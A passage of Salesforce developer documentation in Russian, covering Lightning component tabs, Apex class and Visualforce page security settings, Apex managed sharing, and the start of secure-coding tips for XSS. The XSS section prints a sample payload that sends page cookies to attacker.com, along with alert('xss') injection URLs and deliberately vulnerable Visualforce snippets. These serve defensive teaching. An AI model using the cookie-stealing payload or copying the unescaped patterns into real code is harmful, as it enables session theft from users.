Lightning посредством
пользовательского
интерфейса доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition или
безопасной среде.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания вкладок
компонентов Lightning:
• «Настройка

приложения»

Предоставьте пользователям приложения Salesforce1 доступ к компонентам Lightning.

Добавьте implements="force:appHostable" в тег aura:component нужного
компонента и сохраните внесенные изменения.

<aura:component implements="force:appHostable">

Интерфейс appHostable делает компонент доступным в виде пользовательского приложения.

Рекомендуем использовать консоль разработчика для создания компонентов Lightning.

Чтобы добавить компоненты в меню навигации приложения Salesforce1, выполните указанные ниже действия.

1. Создайте настраиваемую вкладку для данного компонента.

a. Введите строку «Вкладки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Вкладки».

b. Нажмите кнопку «Создать» в связанном списке «Вкладки компонентов Lightning».

c. Выберите компонент Lightning для отображения на настраиваемой вкладке.

d. Введите метку для отображения на вкладке.

e. Выберите стиль вкладки и нажмите кнопку «Далее».
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f. Приотображении запроса на добавление вкладки впрофилипримите стандартныепараметрыинажмите кнопку
«Сохранить».

Прим.: Создание настраиваемой вкладки является обязательным условием для включения компонента в
менюнавигацииприложенияSalesforce1, нодоступккомпоненту LightningизполнойверсиисистемыSalesforce
не поддерживается.

2. Добавьте компонент Lightning в меню навигации приложения Salesforce1.

a. В разделе «Настройка» введите «Навигация» в поле «Быстрый поиск», затем выберите Salesforce1Навигация.

b. Выберите созданную настраиваемую вкладку и нажмите кнопку «Добавить».

c. Чтобы отсортировать элементы, выберите нужный элемент и нажмите кнопку «Вверх» или «Вниз».

Порядокотображенияэлементоввменюнавигацииопределяетсяпользователем. Первыйэлементсписка «Выбрано»
становится целевой страницей приложения Salesforce1 пользователей.

3. Чтобы просмотреть результат выполненных действий, откройте мобильное веб-приложение Salesforce1. Новый
элемент меню должен отображаться в меню навигации.

Прим.: Мобильноевеб-приложениевключенодляорганизациипоумолчанию. Дополнительнуюинформацию
об использовании мобильного веб-приложения Salesforce1 см. в Руководстве разработчика приложения Salesforce1.

СМ. ТАКЖЕ:

Общие сведения об инфраструктуре компонентов Lightning

Использование консоли разработчика
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Добавление компонентов Lightning в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно для
использования в версиях:
Contact Manager, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создание компонентов
Lightning посредством
пользовательского
интерфейса доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition или
безопасной среде.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания вкладок
компонентов Lightning:
• «Настройка

приложения»

Предоставьте пользователям приложения Lightning Experience доступ к компонентам
Lightning.

В разделе компонентов, которые необходимо включить в Lightning Experience, добавьте
implements="force:appHostable" в теге aura:component и сохраните
изменение.

<aura:component implements="force:appHostable">

Рекомендуем использовать консоль разработчика для создания компонентов Lightning.

Следуйте этимшагам, чтобы включить компоненты в Lightning Experience и сделать их доступными для пользователей в
организации.

1. Создайте настраиваемую вкладку для данного компонента.

a. Введите строку «Вкладки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Вкладки».

b. Нажмите кнопку «Создать» в связанном списке «Вкладки компонентов Lightning».

c. Выберите компонент Lightning, который необходимо сделать доступным для пользователей.

d. Введите метку для отображения на вкладке.

e. Выберите стиль вкладки и нажмите кнопку «Далее».

5647

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



f. Приотображении запроса на добавление вкладки впрофилипримите стандартныепараметрыинажмите кнопку
«Сохранить».

2. Добавьте свои Lightning к средству запуска приложений.

a. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Приложения».

b. Нажмите кнопку «Создать». Выберите параметр «Настраиваемое приложение» и нажмите кнопку «Далее».

c. Введите Lightning для метки приложения и нажмите кнопку «Далее».

d. Враскрывающемсяменю «Доступные вкладки» выберите созданныйпараметр «Вкладкикомпонентов Lightning»
и нажмите кнопку со стрелкой вправо, чтобы добавить его к настраиваемому приложению.

e. Нажмите кнопку «Далее». Установите флажок для поля «Доступно», чтобы назначить приложение профилям,
и нажмите кнопку «Сохранить».

3. Проверьтевыводимыеданные, перейдякПриложениюзапускаLightning Experience. Вашепользовательскоеприложение
должноотображаться вПриложении запуска. Щелкнитепользовательскоеприложение, чтобы увидеть добавленные
компоненты.

СМ. ТАКЖЕ:

Добавление компонентов Lightning в приложение Salesforce1

Создание настраиваемых приложений

Безопасность кода

Защита кода
Данный раздел содержит сведения о внедрении способов защиты кода.

• Как работает безопасность класса Apex?

• Настройка параметров безопасности страницы Visualforce в определении страницы

• Советы по безопасности при разработке Apex и Visualforce

Безопасность Apex

Как работает безопасность класса Apex?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

Профильилисвязанныйнаборполномочийпозволяетвыбратьпользователей, которые
смогут выполнять методы для отдельного класса Apex верхнего уровня. Это позволит
применить детальное обеспечение безопасности для операций Apex в организации.

Данные параметры применяются только к методам класса Apex. Например, их можно
применять к методам веб-служб или методам, используемым в настраиваемых
контроллерах Visualforce или расширениям контроллера, добавленным на страницу
Visualforce. В отличие от этого, триггеры всегда запускаются событиями триггера
(например, insert или update), независимо от полномочий пользователя.
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Прим.: Если организация использует установленный управляемый пакет, то безопасность может быть настроена
только для классов Apex, являющихся глобальными, или классов, содержащих методы webService.

Полномочие «Автор Apex» предоставляет пользователям доступ ко всем классам Apex связанной организации,
независимо от параметров безопасности отдельных классов.

ПолномочиядляклассаApexпроверяютсятольконаверхнемуровне. Например, есликлассАвызывает классБ, апрофилю
пользователя предоставлен доступ только к классу А, но не к классу Б, то пользователь может выполнять код в классе А.
Подобным образом, если страница Visualforce использует настраиваемый компонент со связанным контроллером, то
безопасность проверяется только для контроллера, связанного со страницей. Контроллер, связанный с настраиваемым
компонентом, выполняется независимо от полномочий.

Чтобы настроить безопасность класса Apex, воспользуйтесь указанными ниже компонентами.

• Страница со списком классов Apex

• Страница сведений о классе Apex

• Наборы полномочий

• Профили

СМ. ТАКЖЕ:

Советы по безопасности при разработке Apex и Visualforce

Руководство разработчика Apex

Настройка доступа к классам Apex со страницы списка класса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
безопасности класса Apex:
• «Автор Apex»

И

«Настройка
приложения»

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Классы Apex».

2. Щелкните ссылку «Безопасность» напротив имени нужного класса.

3. Выберите нужные профили в списке «Доступные профили» и нажмите кнопку
«Добавить». Выберитенужныепрофиливсписке «Включенныепрофили» инажмите
кнопку «Удалить».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка доступа к классам Apex со страницы сведений о классе

Настройка доступа к классам Apex в наборах полномочий

Настройка доступа к классам Apex в профилях
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Настройка доступа к классам Apex со страницы сведений о классе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
безопасности класса Apex:
• «Автор Apex»

И

«Настройка
приложения»

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Классы Apex».

2. Щелкните имя нужного класса.

3. Нажмите кнопку «Безопасность».

4. Выберите нужные профили в списке «Доступные профили» и нажмите кнопку
«Добавить». Выберитенужныепрофиливсписке «Включенныепрофили» инажмите
кнопку «Удалить».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка доступа к классам Apex со страницы списка класса

Настройка доступа к классам Apex в наборах полномочий

Настройка доступа к классам Apex в профилях

Настройка доступа к классам Apex в наборах полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров доступа к
классам Apex:
• «Управление

профилями и наборами
полномочий»

Пользователь может задать методы класса Apex верхнего уровня, которые должны быть
доступны для выполнения в наборе полномочий. Данные параметры применяются
только к методам класса Apex (например, методы веб-службы), любым методам,
используемымвнастраиваемыхконтроллерахVisualforce, илирасширениямконтроллера,
добавленным на страницу Visualforce. Триггеры всегда запускаются событиями триггера
(например, insert или update), независимо от параметров полномочий.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите нужный набор полномочий.

3. Щелкните ссылку «Доступ к классу Apex».

4. Нажмите кнопку «Правка».

5. Выберите нужные классы Apex в списке «Доступные классы Apex» и нажмите кнопку
«Добавить», либо выберите нужные классы Apex в списке «Включенные классы
Apex» и нажмите кнопку «Удалить».
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6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка доступа к классам Apex со страницы списка класса

Настройка доступа к классам Apex со страницы сведений о классе

Настройка доступа к классам Apex в профилях

Настройка доступа к классам Apex в профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
профилей:
• «Управление

профилями и наборами
полномочий»

Пользователь может задать методы класса Apex верхнего уровня, которые должны быть
доступны для выполнения в профиле.

Данные параметры применяются только к методам класса Apex. Например, их можно
применять к методам веб-служб или методам, используемым в настраиваемых
контроллерах Visualforce или расширениям контроллера, добавленным на страницу
Visualforce. Триггеры всегда запускаются событиями триггера (например, insert или
update), независимо от параметров профилей.

1. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

2. Щелкните имя выбранного профиля.

3. Нажмите кнопку «Правка» в соответствующем связанном списке или на странице
«Доступ к классу Apex».

4. Выберите классы Apex, которые требуется включить, из списка доступных классов
Apexищелкнитекнопку «Добавить». ЛибовыберитеклассыApex, которыетребуется
включить, из списка включенных классов Apex ищелкните кнопку «Удалить».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка доступа к классам Apex со страницы списка класса

Настройка доступа к классам Apex со страницы сведений о классе

Настройка доступа к классам Apex в наборах полномочий
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Создание причин общего доступа к Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания причин
общего доступа к Apex:
• «Автор Apex»

Для просмотра причин
общего доступа к Apex:
• «Просмотр настройки и

конфигурации»

При создании управляемого общего доступа к Apex рекомендуем создать причины
общего доступа к Apex для отдельных настраиваемых объектов, чтобы указать причины
применения общего доступа, упростить создание кода для обновления и удаления
общедоступных записей и предоставить общий доступ к записи одному и тому же
пользователюилигруппенесколькораз, используяразличныепричиныобщегодоступа
к Apex.

Прим.: Дополнительную информацию об управляемом общем доступе к Apex
см. в Руководстве разработчика Force.com Apex Code.

Система Salesforce отображает причины общего доступа к Apex в столбце «Причина»
припросмотреобщего доступа для записинастраиваемогообъекта в пользовательском
интерфейсе. Данныйалгоритмпозволяетпользователямиадминистраторамопределять
цель общего доступа.

Ниже перечислены рекомендации по использованию причин общего доступа к Apex.

• Добавление, редактирование и удаление общего доступа, использующего причину
общего доступа к Apex, поддерживаются только при наличии полномочия
«Изменение всех данных».

• УдалениепричиныобщегодоступакApexинициируетудалениевсегообщегодоступа
для объекта, использующего данную причину.

• Разрешается создаватьнеболее 10 причинобщегодоступакApexдлянастраиваемого
объекта.

• Разрешается создавать причины общего доступа к Apex посредством Metadata API.

Чтобы создать причину общего доступа к Apex, выполните указанные ниже действия.

1. Впараметрахуправлениядлянастраиваемогообъектанажмитекнопку«Создать» в связанномспискепричинобщего
доступа Apex.

2. Введитеметку дляпричиныобщегодоступа кApex. Меткаотображается в столбце «Причина» припросмотреобщего
доступа к записи в пользовательском интерфейсе. Кроме того, метка может быть переведена с помощью средства
перевода.

3. Введите имя для причины общего доступа к Apex. Имя используется при обращении к причине в API и Apex. Данное
имя должно быть уникальным и может содержать только буквы, цифры и символы подчеркивания. Имя должно
начинаться с буквы; не может содержать пробелов и двух последовательных символов подчеркивания, а также не
может заканчиваться символом подчеркивания.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Пересчет управляемого общего доступа к Apex

Поиск по параметрам управления объектами
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Пересчет управляемого общего доступа к Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для связывания класса
пересчета управляемого
общего доступа к Apex:
• «Автор Apex»

Для запуска пересчета
управляемого общего
доступа к Apex:
• «Автор Apex»

ИЛИ

«Управление общим
доступом»

Важное замечание: При пакетировании настраиваемых объектов помните, что
связанные пересчеты общего доступа к Apex также добавляются в пакет и могут
препятствовать его установке.

Разработчики могут создавать классы пакета Apex, позволяющие пересчитывать
управляемый общий доступ к Apex для конкретных настраиваемых объектов. Данные
классымогутбытьсвязаныснастраиваемымобъектомнастраницесведенийивыполнены
втомслучае, еслиошибкаблокировкинепозволяеткодуApexпредоставитьпользователю
доступ в соответствии с логикой приложения. Пересчеты общего доступа к Apex могут
использоваться для исправления ошибок доступности, вызванных ошибками
кодирования. Например, если разработчик исправляет ошибку кодирования,
препятствующую доступу пользователей к записям, то исправление может повлиять
только на записи, созданные после обновления кода. Чтобы применить исправление к
текущим записям, разработчик должен запустить пересчет общего доступа к Apex,
позволяющий проверить общий доступ для всех записей.

При необходимости запустите пересчеты общего доступа к Apex на странице сведений
о настраиваемом объекте. Чтобы запустить пересчеты программным способом,
воспользуйтесь методом Database.executeBatch. Кроме того, система Salesforce
автоматически запускает классы пересчета Apex, заданные для настраиваемого объекта,
при каждом обновлении единых стандартных параметров общего доступа к
настраиваемому объекту.

Прим.: Система Salesforce автоматически пересчитывает общий доступ для всех
записей объекта при изменении его единых стандартных параметров общего
доступа. Пересчетохватываетдоступ, предоставленныйправиламиобщегодоступа.
Кроме того, система удаляет все типы общего доступа, предоставляющие
избыточный доступ. Например, ручной общий доступ, предоставляющий
пользователю доступ «Только для чтения», удаляется при назначении модели
общегодоступакобъекту «Личный» значения «Общедоступный: толькодлячтения».

Дополнительную информацию о создании управляемого общего доступа к Apex и классов пересчета см. в Руководстве
разработчика Force.com Apex Code.

Чтобы связать класс пересчета управляемого общего доступа к Apex с настраиваемым объектом, выполните указанные
ниже действия.

1. Перейдите на страницу «Пересчеты общего доступа к Apex» посредством параметров управления настраиваемым
объектом.

2. Выберите класс Apex, который пересчитывает общий доступ к Apex для данного объекта. Выбранный класс должен
реализовывать интерфейс Database.Batchable. Один класс Apex не может связываться с одним настраиваемым
объектом несколько раз.

3. Нажмите кнопку «Сохранить».

Чтобы запустить пересчет общего доступа к Apex, в параметрах управления для настраиваемого объекта перейдите на
страницу «Пересчет общего доступа к Apex» и нажмите кнопку «Создать».

Ниже перечислены рекомендации по использованию пересчетов общего доступа к Apex.

• КодApex, используемыйдляпересчетаобщегодоступа, можетобрабатыватьнеболее 5 миллионов записей. КодApex,
охватывающий более 5 миллионов записей, не выполняется.

• Статус пересчетов общего доступа к Apex может отслеживаться в очереди заданий Apex.
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• Разрешается связывать не более пяти пересчетов общего доступа к Apex на каждый настраиваемый объект.

• Пересчеты общего доступа к Apex не могут быть связаны со стандартными объектами.

СМ. ТАКЖЕ:

Создание причин общего доступа к Apex

Поиск по параметрам управления объектами

Безопасность Visualforce

Безопасность страниц Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Профиль или связанный набор полномочий позволяет определить пользователей,
которые смогут выполнять отдельные страницы Visualforce.

Полномочия для страницы Visualforce проверяются только на верхнем уровне.
Пользователи могут выполнять любой код Apex, связанный с доступной страницей. А
именно:

• Контроллер для страницы и любые классы Apex, вызванные классом контроллера.

• ЛюбыеклассырасширениядлястраницыилюбойкодApex, вызванныйрасширением.

• Любые классы Apex, связанные с настраиваемыми компонентами страницы.

• Любые классы, связанные со страницей посредством apex:include или
apex:composition.

Например, если страница А зависит от контроллера, который вызывает класс Apex Б, а
пользователюпредоставлендоступтолькокстраницеА, нонекклассуБ, топользователь
может выполнять код на странице А. Подобным образом, если страница Visualforce
используетнастраиваемыйкомпонентсо связаннымконтроллером, тобезопасностьпроверяется толькодля контроллера,
связанного со страницей, но не для контроллера, связанного с компонентом.

Ниже перечислены компоненты, позволяющие настроить параметры безопасности страниц Visualforce.

• Определение страницы Visualforce

• Наборы полномочий

• Профили

Полномочие «Настройка приложения» предоставляет пользователям доступ ко всем страницам Visualforce в связанной
организации. Тем не менее данное полномочие может иметь ограничения, связанные с классами Apex. Полномочие
«Настройкаприложения» непозволяетпользователямигнорироватьданныеограниченияна страницахVisualforce, кроме
случаев предоставления доступа к страницам Visualforce.

Кроме того, код Apex может быть добавлен на страницу только при наличии полномочия «Автор Apex» или доступа к
классу Apex.
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Прим.: Если организация использует Force.com Sites или клиентские порталы, то страницы Visualforce могут быть
включены путем их назначения профилям пользователей или их включения на всем сайте.

СМ. ТАКЖЕ:

Советы по безопасности при разработке Apex и Visualforce

https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/

Настройка параметров безопасности страницы Visualforce в определении страницы

Настройка параметров безопасности страницы Visualforce в наборах полномочий

Настройка параметров безопасности страницы Visualforce в профилях

Настройка параметров безопасности страницы Visualforce в определении страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности страницы
Visualforce:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

1. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Страницы Visualforce».

2. Чтобы ограничить доступ к странице, щелкните ссылку «Безопасность» напротив
имени нужной страницы.

3. Выберите нужные профили в списке «Доступные профили» и нажмите кнопку
«Добавить».

4. Выберите нужные профили в списке «Включенные профили» и нажмите кнопку
«Удалить».

5. Нажмите кнопку «Сохранить».
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Настройка параметров безопасности страницы Visualforce в наборах полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров доступа к
страницам Visualforce:
• «Управление

профилями и наборами
полномочий»

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите нужный набор полномочий.

3. Щелкните ссылку «Доступ к странице Visualforce».

4. Нажмите кнопку «Правка».

5. Выберите нужные страницы Visualforce в списке «Доступные страницы Visualforce» и
нажмите кнопку «Добавить», либо выберите нужные страницы Visualforce в списке
«Включенные страницы Visualforce» и нажмите кнопку «Удалить».

6. Нажмите кнопку «Сохранить».

Настройка параметров безопасности страницы Visualforce в профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности страницы
Visualforce:
• «Управление

профилями и наборами
полномочий»

Чтобыпользователипрофиляполучилидоступк указаннойстраницеVisualforce, следует
настроить параметры безопасности Visualforce непосредственно в профиле.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Щелкните имя нужного профиля.

3. Откройте страницуилисвязанныйсписок «Доступк страницеVisualforce» инажмите
кнопку «Правка».

4. Выберите страницы Visualforce, которые требуется включить, из списка доступных
страниц Visualforce ищелкните кнопку «Добавить». Либо выберите страницы
Visualforce, которые требуется выключить, из списка доступных страниц Visualforce и
щелкните кнопку «Удалить».

5. Нажмите кнопку «Сохранить».
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Советы по безопасности при разработке Apex и Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Visualforce недоступен в
версии Database.com
Edition.

Приразработкеприложенийучитывайтевозможныеуязвимыеместаипредусматривайте
защитные меры.

Общие сведения о безопасности

Эффективное сочетание Apex и страниц Visualforce позволяет разработчикам Force.com
расширять систему Salesforce посредством настраиваемых функций и бизнес-логики, а
такжесоздаватьабсолютноновыесамостоятельныепродукты, работающиенаплатформе
Force.com. Тем не менее, подобно любому языку программирования, разработчики
должны помнить о возможных проблемах безопасности.

Компания Salesforce внедриланаплатформу Force.comнесколько уровнейбезопасности.
Тем не менее, некоторые разработчики до сих пор умудряются обходить встроенные
средства защиты и подвергать свои приложения и клиентов угрозам безопасности.
Многие ошибки кодирования, которые могут быть сделаны разработчиками на
платформе Force.com, аналогичны общим уязвимостям системы безопасности
веб-приложения, тогда как другие ошибки встречаются только в Apex.

Чтобы гарантировать безопасность приложения в каталоге AppExchange, рекомендуем
разработчикампросмотреть описанныениже уязвимости системыбезопасности. Дополнительнуюинформациюсм. на
странице Force.com Security Resources веб-узла Salesforce Developers по следующему адресу:
https://developer.salesforce.com/page/Security.

СМ. ТАКЖЕ:

Управление версиями

Межсайтовый скриптинг (XSS)

Атаки путем межсайтового скриптинга охватывают самые разные атаки, внедряющие вредоносный HTML-код или
клиентскийскриптингввеб-приложение. Веб-приложениедобавляетвредоносныйскриптингподвлияниемпользователя
веб-приложения. Пользователь становится невольнойжертвой атаки. Взломщик использует веб-приложение, которому
доверяет жертва, в качестве промежуточного средства атаки. Как правило, уязвимыми считаются приложения,
отображающие динамические веб-страницы без надлежащей проверки данных. Самые простые атаки на веб-сайты
выполняются при вводе данных, которые должны отображаться другому пользователю. Наиболее часто данные атаки
встречаются на досках объявлений или веб-сайтах комментариев, в новостях или архивах эл. почты.

Например, сценарий ниже добавляется на страницу Force.com посредством компонента сценария, события on* или
страницы Visualforce.

<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

Данный блок сценария вставляет значение параметра userparam, введенного пользователем, на страницу. Затем
взломщик может ввести следующее значение для параметра userparam:

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

Вданномслучаевсе cookie-файлыдлятекущейстраницыотправляютсянаадрес www.attacker.com вкачествестроки
из запроса сценария cookie.cgi. На данном этапе взломщик получает сеансовый cookie-файл жертвы и может
подключиться к веб-приложению от его имени.
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Взломщикможетраспространятьвредоносныйсценарийпосредствомвеб-сайтаилиэл. почты. Какправило, пользователи
веб-приложениянезамечаютдействийвзломщика, аихобозревателимогутвыполнятьсценарийвзломщикавпроверенном
контексте. Данная возможностьпозволяет взломщикувыполнятьнеоднократныеатакина своихжертв. Атакимогутиметь
разные проявления — от простых действий (например, открытие и закрытие окон) до более вредоносных (например,
кража данных или сеансовых cookie-файлов), предоставляющих взломщику полный доступ к сеансу жертвы.

Дополнительную информацию о данной атаке см. в следующих статьях:

• http://www.owasp.org/index.php/Cross_Site_Scripting

• http://www.cgisecurity.com/xss-faq.html

• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

• http://www.google.com/search?q=cross-site+scripting

Платформа Force.com поддерживает несколько уровней безопасности в области межсайтового скриптинга. Например,
компания Salesforce внедряетфильтры, препятствующиеотображениювредоносныхсимволоввосновныхметодах ввода.
Разработчики, использующие стандартные классы и методы вывода, менее подвержены межсайтовому скриптингу. Тем
неменее, изобретательные разработчики до сих порнаходят способынамеренногоили случайного обхода стандартных
элементов управления. Раздел ниже позволяет определить защищенные и незащищенные области.

Текущая защита

ВсестандартныекомпонентыVisualforce, начинающиесяс <apex>, используютфильтрыпротивмежсайтовогоскриптинга.
Например, следующий код обычно подвергается атакам путем межсайтового скриптинга, так как использует данные,
введенные пользователем, и возвращает их пользователю, но тег <apex:outputText> считается защищенным от
межсайтового скриптинга. Все символы, являющиеся тегами HTML, преобразуются в литералы. Например, символ <
преобразуется в литерал &lt;, отображающийся на экране пользователя.

<apex:outputText>
{!$CurrentPage.parameters.userInput}

</apex:outputText>

Отключение экранирования для тегов Visualforce

ПоумолчаниюпочтивсетегиVisualforce экранируютсимволы, подверженныемежсайтовомускриптингу. Чтобыотключить
данныйалгоритм, настройтедополнительныйатрибут escape="false". Например, следующийрезультатподвергается
атакам путем межсайтового скриптинга:

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Элементы программирования, не защищенные от межсайтового скриптинга

Перечисленные ниже элементы не поддерживают встроенных средств защиты от межсайтового скриптинга, поэтому
должныиспользоватьсяособенновнимательно. Отсутствие защитыобуславливаетсяиспользованиемданныхэлементов
для позволения разработчику настраивать страницу путем вставки команд сценария. Добавление фильтров против
межсайтового скриптинга считается бесполезным для команд, добавленных на страницу намеренно.

Настраиваемый JavaScript
Платформа Force.com не гарантирует защиту собственного JavaScript. Например, следующий код подвергается
межсайтовому скриптингу при использовании в JavaScript:

<script>
var foo = location.search;
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document.write(foo);
</script>

<apex:includeScript>
Компонент Visualforce <apex:includeScript> позволяет добавить настраиваемый сценарий на страницу. В
данном случае рекомендуем проверить безопасность содержимого и убедиться в отсутствии данных, введенных
пользователем. Например, следующийфрагмент считается крайне уязвимым, так как содержит данные, введенные
пользователем, в качестве значения текста сценария. Значение, предоставленное тегом, соответствует URL-адресу
JavaScript, подлежащему добавлению. Если взломщик может заполнить данный параметр произвольными данными
(как в примере выше), то жертва сможет добавить любой файл JavaScript с любого другого веб-сайта.

<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Теги формулы

Как правило, данные теги используют следующий синтаксис: {!FUNCTION()} или {!$OBJECT.ATTRIBUTE}.
Например, чтобы дополнить ссылку кодом сеанса пользователя, разработчик может создать ссылку посредством
следующего синтаксиса:

<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

Данный синтаксис возвращает результат, аналогичный синтаксису ниже.

<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Выражениеформулыможетбытьвызовомфункцииилисодержать сведенияобобъектахплатформы, средепользователя,
средесистемыисредезапроса. Данныевыраженияпозволяютизбежатьэкранированияобрабатываемыхданных. Выражения
обрабатываютсяна сервере, поэтомуобработанныеданныенемогутбыть экранированывклиентепосредством JavaScript
илидругойклиентскойтехнологии. Данныйалгоритмможет создаватьпотенциальноопасныеситуации, есливыражение
формулы ссылается на внесистемные данные (то есть, потенциально вредоносные или редактируемые данные), а само
выражение не обрабатывается функцией с целью экранирования отображаемого результата. Как правило, уязвимость
создается при использовании выражения {!$Request.*} для доступа к параметрам запроса.

<html>
<head>

<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>

</html>

К сожалению, неэкранированный тег {!$Request.title} также инициирует уязвимость межсайтового скриптинга.
Например, запрос:

http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

возвращает результат:

<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>
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Стандартный механизм серверного экранирования предполагает использование тега формулы SUBSTITUTE(). При
аналогичном расположении выражения {!$Request.*} в примере указанная выше атака может быть предотвращена
путем использования следующих вложенных вызовов SUBSTITUTE().

<html>
<head>

<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>

</html>

Взависимостиотрасположениятегаииспользованияданных, символы, требующиеэкранирования, иихэкранированные
эквиваленты, могут различаться. Например, данный оператор:

<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

требует экранирования двойных кавычек посредством URL-эквивалента %22 взамен HTML-эквивалента ", так как данные
кавычки могут использоваться в ссылке. В противном случае запрос:

http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

возвращает:

<script>var ret = "foo";alert('xss');//";</script>

Кроме того, переменная ret может требовать дополнительного клиентского экранирования на странице, если способ
ее использования может инициировать интерпретацию добавленных управляющих HTML-символов.

Тегиформулымогут такжеиспользоватьсядля добавленияданныхобъектаплатформы. Несмотрянаизвлечениеданных
прямо из организации пользователя, рекомендуем экранировать данные перед использованием, чтобы предотвратить
